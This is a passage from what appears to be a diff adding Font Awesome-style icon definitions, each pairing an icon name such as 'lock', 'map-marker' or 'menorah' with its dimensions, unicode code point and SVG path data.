12h79.583c134.091 0 223.255-77.834 228.408-211.592.261-6.782-5.211-12.408-11.997-12.408z"], + "list": [512, 512, [], "f03a", "M80 368H16a16 16 0 0 0-16 16v64a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16v-64a16 16 0 0 0-16-16zm0-320H16A16 16 0 0 0 0 64v64a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16V64a16 16 0 0 0-16-16zm0 160H16a16 16 0 0 0-16 16v64a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16v-64a16 16 0 0 0-16-16zm416 176H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-320H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 160H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"], + "list-alt": [512, 512, [], "f022", "M464 480H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h416c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48zM128 120c-22.091 0-40 17.909-40 40s17.909 40 40 40 40-17.909 40-40-17.909-40-40-40zm0 96c-22.091 0-40 17.909-40 40s17.909 40 40 40 40-17.909 40-40-17.909-40-40-40zm0 96c-22.091 0-40 17.909-40 40s17.909 40 40 40 40-17.909 40-40-17.909-40-40-40zm288-136v-32c0-6.627-5.373-12-12-12H204c-6.627 0-12 5.373-12 12v32c0 6.627 5.373 12 12 12h200c6.627 0 12-5.373 12-12zm0 96v-32c0-6.627-5.373-12-12-12H204c-6.627 0-12 5.373-12 12v32c0 6.627 5.373 12 12 12h200c6.627 0 12-5.373 12-12zm0 96v-32c0-6.627-5.373-12-12-12H204c-6.627 0-12 5.373-12 12v32c0 6.627 5.373 12 12 12h200c6.627 0 12-5.373 12-12z"], + "list-ol": [512, 512, [], "f0cb", "M61.77 401l17.5-20.15a19.92 19.92 0 0 0 5.07-14.19v-3.31C84.34 356 80.5 352 73 352H16a8 8 0 0 0-8 8v16a8 8 0 0 0 8 8h22.83a157.41 157.41 0 0 0-11 12.31l-5.61 7c-4 5.07-5.25 10.13-2.8 14.88l1.05 1.93c3 5.76 6.29 7.88 12.25 7.88h4.73c10.33 0 15.94 2.44 15.94 9.09 0 4.72-4.2 8.22-14.36 8.22a41.54 41.54 0 0 1-15.47-3.12c-6.49-3.88-11.74-3.5-15.6 3.12l-5.59 9.31c-3.72 6.13-3.19 11.72 2.63 15.94 7.71 4.69 20.38 9.44 37 9.44 34.16 0 48.5-22.75 48.5-44.12-.03-14.38-9.12-29.76-28.73-34.88zM496 224H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-160H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 320H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM16 160h64a8 8 0 0 0 8-8v-16a8 8 0 0 0-8-8H64V40a8 8 0 0 0-8-8H32a8 8 0 0 0-7.14 4.42l-8 16A8 8 0 0 0 24 64h8v64H16a8 8 0 0 0-8 8v16a8 8 0 0 0 8 8zm-3.91 160H80a8 8 0 0 0 8-8v-16a8 8 0 0 0-8-8H41.32c3.29-10.29 48.34-18.68 48.34-56.44 0-29.06-25-39.56-44.47-39.56-21.36 0-33.8 10-40.46 18.75-4.37 5.59-3 10.84 2.8 15.37l8.58 6.88c5.61 4.56 11 2.47 16.12-2.44a13.44 13.44 0 0 1 9.46-3.84c3.33 0 9.28 1.56 9.28 8.75C51 248.19 0 257.31 0 304.59v4C0 316 5.08 320 12.09 320z"], + "list-ul": [512, 512, [], "f0ca", "M48 48a48 48 0 1 0 48 48 48 48 0 0 0-48-48zm0 160a48 48 0 1 0 48 48 48 48 0 0 0-48-48zm0 160a48 48 0 1 0 48 48 48 48 0 0 0-48-48zm448 16H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-320H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 160H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"], + "location-arrow": [512, 512, [], "f124", "M444.52 3.52L28.74 195.42c-47.97 22.39-31.98 92.75 19.19 92.75h175.91v175.91c0 51.17 70.36 67.17 92.75 19.19l191.9-415.78c15.99-38.39-25.59-79.97-63.97-63.97z"], + "lock": [448, 512, [], "f023", "M400 224h-24v-72C376 68.2 307.8 0 224 0S72 68.2 72 152v72H48c-26.5 0-48 21.5-48 48v192c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V272c0-26.5-21.5-48-48-48zm-104 0H152v-72c0-39.7 32.3-72 72-72s72 32.3 72 72v72z"], + "lock-open": [576, 512, [], "f3c1", "M423.5 0C339.5.3 272 69.5 272 153.5V224H48c-26.5 0-48 21.5-48 48v192c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V272c0-26.5-21.5-48-48-48h-48v-71.1c0-39.6 31.7-72.5 71.3-72.9 40-.4 72.7 32.1 72.7 72v80c0 13.3 10.7 24 24 24h32c13.3 0 24-10.7 24-24v-80C576 68 507.5-.3 423.5 0z"], + "long-arrow-alt-down": [256, 512, [], "f309", "M168 345.941V44c0-6.627-5.373-12-12-12h-56c-6.627 0-12 5.373-12 12v301.941H41.941c-21.382 0-32.09 25.851-16.971 40.971l86.059 86.059c9.373 9.373 24.569 9.373 33.941 0l86.059-86.059c15.119-15.119 4.411-40.971-16.971-40.971H168z"], + "long-arrow-alt-left": [448, 512, [], "f30a", "M134.059 296H436c6.627 0 12-5.373 12-12v-56c0-6.627-5.373-12-12-12H134.059v-46.059c0-21.382-25.851-32.09-40.971-16.971L7.029 239.029c-9.373 9.373-9.373 24.569 0 33.941l86.059 86.059c15.119 15.119 40.971 4.411 40.971-16.971V296z"], + "long-arrow-alt-right": [448, 512, [], "f30b", "M313.941 216H12c-6.627 0-12 5.373-12 12v56c0 6.627 5.373 12 12 12h301.941v46.059c0 21.382 25.851 32.09 40.971 16.971l86.059-86.059c9.373-9.373 9.373-24.569 0-33.941l-86.059-86.059c-15.119-15.119-40.971-4.411-40.971 16.971V216z"], + "long-arrow-alt-up": [256, 512, [], "f30c", "M88 166.059V468c0 6.627 5.373 12 12 12h56c6.627 0 12-5.373 12-12V166.059h46.059c21.382 0 32.09-25.851 16.971-40.971l-86.059-86.059c-9.373-9.373-24.569-9.373-33.941 0l-86.059 86.059c-15.119 15.119-4.411 40.971 16.971 40.971H88z"], + "low-vision": [576, 512, [], "f2a8", "M569.344 231.631C512.96 135.949 407.81 72 288 72c-28.468 0-56.102 3.619-82.451 10.409L152.778 10.24c-7.601-10.858-22.564-13.5-33.423-5.9l-13.114 9.178c-10.86 7.601-13.502 22.566-5.9 33.426l43.131 58.395C89.449 131.73 40.228 174.683 6.682 231.581c-.01.017-.023.033-.034.05-8.765 14.875-8.964 33.528 0 48.739 38.5 65.332 99.742 115.862 172.859 141.349L55.316 244.302A272.194 272.194 0 0 1 83.61 208.39l119.4 170.58h.01l40.63 58.04a330.055 330.055 0 0 0 78.94 1.17l-189.98-271.4a277.628 277.628 0 0 1 38.777-21.563l251.836 356.544c7.601 10.858 22.564 13.499 33.423 5.9l13.114-9.178c10.86-7.601 13.502-22.567 5.9-33.426l-43.12-58.377-.007-.009c57.161-27.978 104.835-72.04 136.81-126.301a47.938 47.938 0 0 0 .001-48.739zM390.026 345.94l-19.066-27.23c24.682-32.567 27.711-76.353 8.8-111.68v.03c0 23.65-19.17 42.82-42.82 42.82-23.828 0-42.82-19.349-42.82-42.82 0-23.65 19.17-42.82 42.82-42.82h.03c-24.75-13.249-53.522-15.643-79.51-7.68l-19.068-27.237C253.758 123.306 270.488 120 288 120c75.162 0 136 60.826 136 136 0 34.504-12.833 65.975-33.974 89.94z"], + "luggage-cart": [640, 512, [], "f59d", "M224 320h32V96h-32c-17.67 0-32 14.33-32 32v160c0 17.67 14.33 32 32 32zm352-32V128c0-17.67-14.33-32-32-32h-32v224h32c17.67 0 32-14.33 32-32zm48 96H128V16c0-8.84-7.16-16-16-16H16C7.16 0 0 7.16 0 16v32c0 8.84 7.16 16 16 16h48v368c0 8.84 7.16 16 16 16h82.94c-1.79 5.03-2.94 10.36-2.94 16 0 26.51 21.49 48 48 48s48-21.49 48-48c0-5.64-1.15-10.97-2.94-16h197.88c-1.79 5.03-2.94 10.36-2.94 16 0 26.51 21.49 48 48 48s48-21.49 48-48c0-5.64-1.15-10.97-2.94-16H624c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM480 96V48c0-26.51-21.49-48-48-48h-96c-26.51 0-48 21.49-48 48v272h192V96zm-48 0h-96V48h96v48z"], + "lungs": [640, 512, [], "f604", "M636.11 390.15C614.44 308.85 580.07 231 534.1 159.13 511.98 124.56 498.03 96 454.05 96 415.36 96 384 125.42 384 161.71v60.11l-32.88-21.92a15.996 15.996 0 0 1-7.12-13.31V16c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v170.59c0 5.35-2.67 10.34-7.12 13.31L256 221.82v-60.11C256 125.42 224.64 96 185.95 96c-43.98 0-57.93 28.56-80.05 63.13C59.93 231 25.56 308.85 3.89 390.15 1.3 399.84 0 409.79 0 419.78c0 61.23 62.48 105.44 125.24 88.62l59.5-15.95c42.18-11.3 71.26-47.47 71.26-88.62v-87.49l-85.84 57.23a7.992 7.992 0 0 1-11.09-2.22l-8.88-13.31a7.992 7.992 0 0 1 2.22-11.09L320 235.23l167.59 111.72a7.994 7.994 0 0 1 2.22 11.09l-8.88 13.31a7.994 7.994 0 0 1-11.09 2.22L384 316.34v87.49c0 41.15 29.08 77.31 71.26 88.62l59.5 15.95C577.52 525.22 640 481.01 640 419.78c0-9.99-1.3-19.94-3.89-29.63z"], + "lungs-virus": [640, 512, [], "e067", "M344,150.68V16A16,16,0,0,0,328,0H312a16,16,0,0,0-16,16V150.68a46.45,46.45,0,0,1,48,0ZM195.54,444.46a48.06,48.06,0,0,1,0-67.88l8.58-8.58H192a48,48,0,0,1,0-96h12.12l-8.58-8.57a48,48,0,0,1,60.46-74V161.75C256,125.38,224.62,96,186,96c-44,0-58,28.5-80.12,63.13a819.52,819.52,0,0,0-102,231A113.16,113.16,0,0,0,0,419.75C0,481,62.5,525.26,125.25,508.38l59.5-15.87a98.51,98.51,0,0,0,52.5-34.75,46.49,46.49,0,0,1-41.71-13.3Zm226.29-22.63a16,16,0,0,0,0-22.62l-8.58-8.58C393.09,370.47,407.37,336,435.88,336H448a16,16,0,0,0,0-32H435.88c-28.51,0-42.79-34.47-22.63-54.62l8.58-8.58a16,16,0,0,0-22.63-22.63l-8.57,8.58C370.47,246.91,336,232.63,336,204.12V192a16,16,0,0,0-32,0v12.12c0,28.51-34.47,42.79-54.63,22.63l-8.57-8.58a16,16,0,0,0-22.63,22.63l8.58,8.58c20.16,20.15,5.88,54.62-22.63,54.62H192a16,16,0,0,0,0,32h12.12c28.51,0,42.79,34.47,22.63,54.63l-8.58,8.58a16,16,0,1,0,22.63,22.62l8.57-8.57C269.53,393.1,304,407.38,304,435.88V448a16,16,0,0,0,32,0V435.88c0-28.5,34.47-42.78,54.63-22.62l8.57,8.57a16,16,0,0,0,22.63,0ZM288,304a16,16,0,1,1,16-16A16,16,0,0,1,288,304Zm64,64a16,16,0,1,1,16-16A16,16,0,0,1,352,368Zm284.12,22.13a819.52,819.52,0,0,0-102-231C512,124.5,498,96,454,96c-38.62,0-70,29.38-70,65.75v27.72a48,48,0,0,1,60.46,74L435.88,272H448a48,48,0,0,1,0,96H435.88l8.58,8.58a47.7,47.7,0,0,1-41.71,81.18,98.51,98.51,0,0,0,52.5,34.75l59.5,15.87C577.5,525.26,640,481,640,419.75A113.16,113.16,0,0,0,636.12,390.13Z"], + "magic": [512, 512, [], "f0d0", "M224 96l16-32 32-16-32-16-16-32-16 32-32 16 32 16 16 32zM80 160l26.66-53.33L160 80l-53.34-26.67L80 0 53.34 53.33 0 80l53.34 26.67L80 160zm352 128l-26.66 53.33L352 368l53.34 26.67L432 448l26.66-53.33L512 368l-53.34-26.67L432 288zm70.62-193.77L417.77 9.38C411.53 3.12 403.34 0 395.15 0c-8.19 0-16.38 3.12-22.63 9.38L9.38 372.52c-12.5 12.5-12.5 32.76 0 45.25l84.85 84.85c6.25 6.25 14.44 9.37 22.62 9.37 8.19 0 16.38-3.12 22.63-9.37l363.14-363.15c12.5-12.48 12.5-32.75 0-45.24zM359.45 203.46l-50.91-50.91 86.6-86.6 50.91 50.91-86.6 86.6z"], + "magnet": [512, 512, [], "f076", "M164.07 148.1H12a12 12 0 0 1-12-12v-80a36 36 0 0 1 36-36h104a36 36 0 0 1 36 36v80a11.89 11.89 0 0 1-11.93 12zm347.93-12V56a36 36 0 0 0-36-36H372a36 36 0 0 0-36 36v80a12 12 0 0 0 12 12h152a11.89 11.89 0 0 0 12-11.9zm-164 44a12 12 0 0 0-12 12v52c0 128.1-160 127.9-160 0v-52a12 12 0 0 0-12-12H12.1a12 12 0 0 0-12 12.1c.1 21.4.6 40.3 0 53.3 0 150.6 136.17 246.6 256.75 246.6s255-96 255-246.7c-.6-12.8-.2-33 0-53.2a12 12 0 0 0-12-12.1z"], + "mail-bulk": [576, 512, [], "f674", "M160 448c-25.6 0-51.2-22.4-64-32-64-44.8-83.2-60.8-96-70.4V480c0 17.67 14.33 32 32 32h256c17.67 0 32-14.33 32-32V345.6c-12.8 9.6-32 25.6-96 70.4-12.8 9.6-38.4 32-64 32zm128-192H32c-17.67 0-32 14.33-32 32v16c25.6 19.2 22.4 19.2 115.2 86.4 9.6 6.4 28.8 25.6 44.8 25.6s35.2-19.2 44.8-22.4c92.8-67.2 89.6-67.2 115.2-86.4V288c0-17.67-14.33-32-32-32zm256-96H224c-17.67 0-32 14.33-32 32v32h96c33.21 0 60.59 25.42 63.71 57.82l.29-.22V416h192c17.67 0 32-14.33 32-32V192c0-17.67-14.33-32-32-32zm-32 128h-64v-64h64v64zm-352-96c0-35.29 28.71-64 64-64h224V32c0-17.67-14.33-32-32-32H96C78.33 0 64 14.33 64 32v192h96v-32z"], + "male": [192, 512, [], "f183", "M96 0c35.346 0 64 28.654 64 64s-28.654 64-64 64-64-28.654-64-64S60.654 0 96 0m48 144h-11.36c-22.711 10.443-49.59 10.894-73.28 0H48c-26.51 0-48 21.49-48 48v136c0 13.255 10.745 24 24 24h16v136c0 13.255 10.745 24 24 24h64c13.255 0 24-10.745 24-24V352h16c13.255 0 24-10.745 24-24V192c0-26.51-21.49-48-48-48z"], + "map": [576, 512, [], "f279", "M0 117.66v346.32c0 11.32 11.43 19.06 21.94 14.86L160 416V32L20.12 87.95A32.006 32.006 0 0 0 0 117.66zM192 416l192 64V96L192 32v384zM554.06 33.16L416 96v384l139.88-55.95A31.996 31.996 0 0 0 576 394.34V48.02c0-11.32-11.43-19.06-21.94-14.86z"], + "map-marked": [576, 512, [], "f59f", "M288 0c-69.59 0-126 56.41-126 126 0 56.26 82.35 158.8 113.9 196.02 6.39 7.54 17.82 7.54 24.2 0C331.65 284.8 414 182.26 414 126 414 56.41 357.59 0 288 0zM20.12 215.95A32.006 32.006 0 0 0 0 245.66v250.32c0 11.32 11.43 19.06 21.94 14.86L160 448V214.92c-8.84-15.98-16.07-31.54-21.25-46.42L20.12 215.95zM288 359.67c-14.07 0-27.38-6.18-36.51-16.96-19.66-23.2-40.57-49.62-59.49-76.72v182l192 64V266c-18.92 27.09-39.82 53.52-59.49 76.72-9.13 10.77-22.44 16.95-36.51 16.95zm266.06-198.51L416 224v288l139.88-55.95A31.996 31.996 0 0 0 576 426.34V176.02c0-11.32-11.43-19.06-21.94-14.86z"], + "map-marked-alt": [576, 512, [], "f5a0", "M288 0c-69.59 0-126 56.41-126 126 0 56.26 82.35 158.8 113.9 196.02 6.39 7.54 17.82 7.54 24.2 0C331.65 284.8 414 182.26 414 126 414 56.41 357.59 0 288 0zm0 168c-23.2 0-42-18.8-42-42s18.8-42 42-42 42 18.8 42 42-18.8 42-42 42zM20.12 215.95A32.006 32.006 0 0 0 0 245.66v250.32c0 11.32 11.43 19.06 21.94 14.86L160 448V214.92c-8.84-15.98-16.07-31.54-21.25-46.42L20.12 215.95zM288 359.67c-14.07 0-27.38-6.18-36.51-16.96-19.66-23.2-40.57-49.62-59.49-76.72v182l192 64V266c-18.92 27.09-39.82 53.52-59.49 76.72-9.13 10.77-22.44 16.95-36.51 16.95zm266.06-198.51L416 224v288l139.88-55.95A31.996 31.996 0 0 0 576 426.34V176.02c0-11.32-11.43-19.06-21.94-14.86z"], + "map-marker": [384, 512, [], "f041", "M172.268 501.67C26.97 291.031 0 269.413 0 192 0 85.961 85.961 0 192 0s192 85.961 192 192c0 77.413-26.97 99.031-172.268 309.67-9.535 13.774-29.93 13.773-39.464 0z"], + "map-marker-alt": [384, 512, [], "f3c5", "M172.268 501.67C26.97 291.031 0 269.413 0 192 0 85.961 85.961 0 192 0s192 85.961 192 192c0 77.413-26.97 99.031-172.268 309.67-9.535 13.774-29.93 13.773-39.464 0zM192 272c44.183 0 80-35.817 80-80s-35.817-80-80-80-80 35.817-80 80 35.817 80 80 80z"], + "map-pin": [288, 512, [], "f276", "M112 316.94v156.69l22.02 33.02c4.75 7.12 15.22 7.12 19.97 0L176 473.63V316.94c-10.39 1.92-21.06 3.06-32 3.06s-21.61-1.14-32-3.06zM144 0C64.47 0 0 64.47 0 144s64.47 144 144 144 144-64.47 144-144S223.53 0 144 0zm0 76c-37.5 0-68 30.5-68 68 0 6.62-5.38 12-12 12s-12-5.38-12-12c0-50.73 41.28-92 92-92 6.62 0 12 5.38 12 12s-5.38 12-12 12z"], + "map-signs": [512, 512, [], "f277", "M507.31 84.69L464 41.37c-6-6-14.14-9.37-22.63-9.37H288V16c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v16H56c-13.25 0-24 10.75-24 24v80c0 13.25 10.75 24 24 24h385.37c8.49 0 16.62-3.37 22.63-9.37l43.31-43.31c6.25-6.26 6.25-16.38 0-22.63zM224 496c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V384h-64v112zm232-272H288v-32h-64v32H70.63c-8.49 0-16.62 3.37-22.63 9.37L4.69 276.69c-6.25 6.25-6.25 16.38 0 22.63L48 342.63c6 6 14.14 9.37 22.63 9.37H456c13.25 0 24-10.75 24-24v-80c0-13.25-10.75-24-24-24z"], + "marker": [512, 512, [], "f5a1", "M93.95 290.03A327.038 327.038 0 0 0 .17 485.11l-.03.23c-1.7 15.28 11.21 28.2 26.49 26.51a327.02 327.02 0 0 0 195.34-93.8l75.4-75.4-128.02-128.02-75.4 75.4zM485.49 26.51c-35.35-35.35-92.67-35.35-128.02 0l-21.76 21.76-36.56-36.55c-15.62-15.62-40.95-15.62-56.56 0L138.47 115.84c-6.25 6.25-6.25 16.38 0 22.63l22.62 22.62c6.25 6.25 16.38 6.25 22.63 0l87.15-87.15 19.59 19.59L191.98 192 320 320.02l165.49-165.49c35.35-35.35 35.35-92.66 0-128.02z"], + "mars": [384, 512, [], "f222", "M372 64h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-80.7 80.7c-22.2-14-48.5-22.1-76.7-22.1C64.5 160 0 224.5 0 304s64.5 144 144 144 144-64.5 144-144c0-28.2-8.1-54.5-22.1-76.7l80.7-80.7 16.9 16.9c7.6 7.6 20.5 2.2 20.5-8.5V76c0-6.6-5.4-12-12-12zM144 384c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z"], + "mars-double": [512, 512, [], "f227", "M340 0h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-48.7 48.7C198.5 72.1 172.2 64 144 64 64.5 64 0 128.5 0 208s64.5 144 144 144 144-64.5 144-144c0-28.2-8.1-54.5-22.1-76.7l48.7-48.7 16.9 16.9c2.4 2.4 5.5 3.5 8.4 3.5 6.2 0 12.1-4.8 12.1-12V12c0-6.6-5.4-12-12-12zM144 288c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80zm356-128.1h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-48.7 48.7c-18.2-11.4-39-18.9-61.5-21.3-2.1 21.8-8.2 43.3-18.4 63.3 1.1 0 2.2-.1 3.2-.1 44.1 0 80 35.9 80 80s-35.9 80-80 80-80-35.9-80-80c0-1.1 0-2.2.1-3.2-20 10.2-41.5 16.4-63.3 18.4C168.4 455.6 229.6 512 304 512c79.5 0 144-64.5 144-144 0-28.2-8.1-54.5-22.1-76.7l48.7-48.7 16.9 16.9c2.4 2.4 5.4 3.5 8.4 3.5 6.2 0 12.1-4.8 12.1-12v-79c0-6.7-5.4-12.1-12-12.1z"], + "mars-stroke": [384, 512, [], "f229", "M372 64h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-17.5 17.5-14.1-14.1c-4.7-4.7-12.3-4.7-17 0L224.5 133c-4.7 4.7-4.7 12.3 0 17l14.1 14.1-18 18c-22.2-14-48.5-22.1-76.7-22.1C64.5 160 0 224.5 0 304s64.5 144 144 144 144-64.5 144-144c0-28.2-8.1-54.5-22.1-76.7l18-18 14.1 14.1c4.7 4.7 12.3 4.7 17 0l28.3-28.3c4.7-4.7 4.7-12.3 0-17L329.2 164l17.5-17.5 16.9 16.9c7.6 7.6 20.5 2.2 20.5-8.5V76c-.1-6.6-5.5-12-12.1-12zM144 384c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z"], + "mars-stroke-h": [480, 512, [], "f22b", "M476.2 247.5l-55.9-55.9c-7.6-7.6-20.5-2.2-20.5 8.5V224H376v-20c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v20h-27.6c-5.8-25.6-18.7-49.9-38.6-69.8C189.6 98 98.4 98 42.2 154.2c-56.2 56.2-56.2 147.4 0 203.6 56.2 56.2 147.4 56.2 203.6 0 19.9-19.9 32.8-44.2 38.6-69.8H312v20c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-20h23.9v23.9c0 10.7 12.9 16 20.5 8.5l55.9-55.9c4.6-4.7 4.6-12.3-.1-17zm-275.6 65.1c-31.2 31.2-81.9 31.2-113.1 0-31.2-31.2-31.2-81.9 0-113.1 31.2-31.2 81.9-31.2 113.1 0 31.2 31.1 31.2 81.9 0 113.1z"], + "mars-stroke-v": [288, 512, [], "f22a", "M245.8 234.2c-19.9-19.9-44.2-32.8-69.8-38.6v-25.4h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20V81.4h23.9c10.7 0 16-12.9 8.5-20.5L152.5 5.1c-4.7-4.7-12.3-4.7-17 0L79.6 61c-7.6 7.6-2.2 20.5 8.5 20.5H112v24.7H92c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h20v25.4c-25.6 5.8-49.9 18.7-69.8 38.6-56.2 56.2-56.2 147.4 0 203.6 56.2 56.2 147.4 56.2 203.6 0 56.3-56.2 56.3-147.4 0-203.6zm-45.2 158.4c-31.2 31.2-81.9 31.2-113.1 0-31.2-31.2-31.2-81.9 0-113.1 31.2-31.2 81.9-31.2 113.1 0 31.2 31.1 31.2 81.9 0 113.1z"], + "mask": [640, 512, [], "f6fa", "M320.67 64c-442.6 0-357.57 384-158.46 384 39.9 0 77.47-20.69 101.42-55.86l25.73-37.79c15.66-22.99 46.97-22.99 62.63 0l25.73 37.79C401.66 427.31 439.23 448 479.13 448c189.86 0 290.63-384-158.46-384zM184 308.36c-41.06 0-67.76-25.66-80.08-41.05-5.23-6.53-5.23-16.09 0-22.63 12.32-15.4 39.01-41.05 80.08-41.05s67.76 25.66 80.08 41.05c5.23 6.53 5.23 16.09 0 22.63-12.32 15.4-39.02 41.05-80.08 41.05zm272 0c-41.06 0-67.76-25.66-80.08-41.05-5.23-6.53-5.23-16.09 0-22.63 12.32-15.4 39.01-41.05 80.08-41.05s67.76 25.66 80.08 41.05c5.23 6.53 5.23 16.09 0 22.63-12.32 15.4-39.02 41.05-80.08 41.05z"], + "medal": [512, 512, [], "f5a2", "M223.75 130.75L154.62 15.54A31.997 31.997 0 0 0 127.18 0H16.03C3.08 0-4.5 14.57 2.92 25.18l111.27 158.96c29.72-27.77 67.52-46.83 109.56-53.39zM495.97 0H384.82c-11.24 0-21.66 5.9-27.44 15.54l-69.13 115.21c42.04 6.56 79.84 25.62 109.56 53.38L509.08 25.18C516.5 14.57 508.92 0 495.97 0zM256 160c-97.2 0-176 78.8-176 176s78.8 176 176 176 176-78.8 176-176-78.8-176-176-176zm92.52 157.26l-37.93 36.96 8.97 52.22c1.6 9.36-8.26 16.51-16.65 12.09L256 393.88l-46.9 24.65c-8.4 4.45-18.25-2.74-16.65-12.09l8.97-52.22-37.93-36.96c-6.82-6.64-3.05-18.23 6.35-19.59l52.43-7.64 23.43-47.52c2.11-4.28 6.19-6.39 10.28-6.39 4.11 0 8.22 2.14 10.33 6.39l23.43 47.52 52.43 7.64c9.4 1.36 13.17 12.95 6.35 19.59z"], + "medkit": [512, 512, [], "f0fa", "M96 480h320V128h-32V80c0-26.51-21.49-48-48-48H176c-26.51 0-48 21.49-48 48v48H96v352zm96-384h128v32H192V96zm320 80v256c0 26.51-21.49 48-48 48h-16V128h16c26.51 0 48 21.49 48 48zM64 480H48c-26.51 0-48-21.49-48-48V176c0-26.51 21.49-48 48-48h16v352zm288-208v32c0 8.837-7.163 16-16 16h-48v48c0 8.837-7.163 16-16 16h-32c-8.837 0-16-7.163-16-16v-48h-48c-8.837 0-16-7.163-16-16v-32c0-8.837 7.163-16 16-16h48v-48c0-8.837 7.163-16 16-16h32c8.837 0 16 7.163 16 16v48h48c8.837 0 16 7.163 16 16z"], + "meh": [496, 512, [], "f11a", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm176 192H152c-21.2 0-21.2-32 0-32h192c21.2 0 21.2 32 0 32zm-16-128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"], + "meh-blank": [496, 512, [], "f5a4", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-80 232c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm160 0c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"], + "meh-rolling-eyes": [496, 512, [], "f5a5", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM88 224c0-24.3 13.7-45.2 33.6-56-.7 2.6-1.6 5.2-1.6 8 0 17.7 14.3 32 32 32s32-14.3 32-32c0-2.8-.9-5.4-1.6-8 19.9 10.8 33.6 31.7 33.6 56 0 35.3-28.7 64-64 64s-64-28.7-64-64zm224 176H184c-21.2 0-21.2-32 0-32h128c21.2 0 21.2 32 0 32zm32-112c-35.3 0-64-28.7-64-64 0-24.3 13.7-45.2 33.6-56-.7 2.6-1.6 5.2-1.6 8 0 17.7 14.3 32 32 32s32-14.3 32-32c0-2.8-.9-5.4-1.6-8 19.9 10.8 33.6 31.7 33.6 56 0 35.3-28.7 64-64 64z"], + "memory": [640, 512, [], "f538", "M640 130.94V96c0-17.67-14.33-32-32-32H32C14.33 64 0 78.33 0 96v34.94c18.6 6.61 32 24.19 32 45.06s-13.4 38.45-32 45.06V320h640v-98.94c-18.6-6.61-32-24.19-32-45.06s13.4-38.45 32-45.06zM224 256h-64V128h64v128zm128 0h-64V128h64v128zm128 0h-64V128h64v128zM0 448h64v-26.67c0-8.84 7.16-16 16-16s16 7.16 16 16V448h128v-26.67c0-8.84 7.16-16 16-16s16 7.16 16 16V448h128v-26.67c0-8.84 7.16-16 16-16s16 7.16 16 16V448h128v-26.67c0-8.84 7.16-16 16-16s16 7.16 16 16V448h64v-96H0v96z"], + "menorah": [640, 512, [], "f676", "M144 128h-32c-8.84 0-16 7.16-16 16v144h64V144c0-8.84-7.16-16-16-16zm96 0h-32c-8.84 0-16 7.16-16 16v144h64V144c0-8.84-7.16-16-16-16zm192 0h-32c-8.84 0-16 7.16-16 16v144h64V144c0-8.84-7.16-16-16-16zm96 0h-32c-8.84 0-16 7.16-16 16v144h64V144c0-8.84-7.16-16-16-16zm80-32c17.67 0 32-14.33 32-32S608 0 608 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S512 0 512 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S416 0 416 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S320 0 320 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S224 0 224 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S128 0 128 0 96 46.33 96 64s14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S32 0 32 0 0 46.33 0 64s14.33 32 32 32zm544 192c0 17.67-14.33 32-32 32H352V144c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v176H96c-17.67 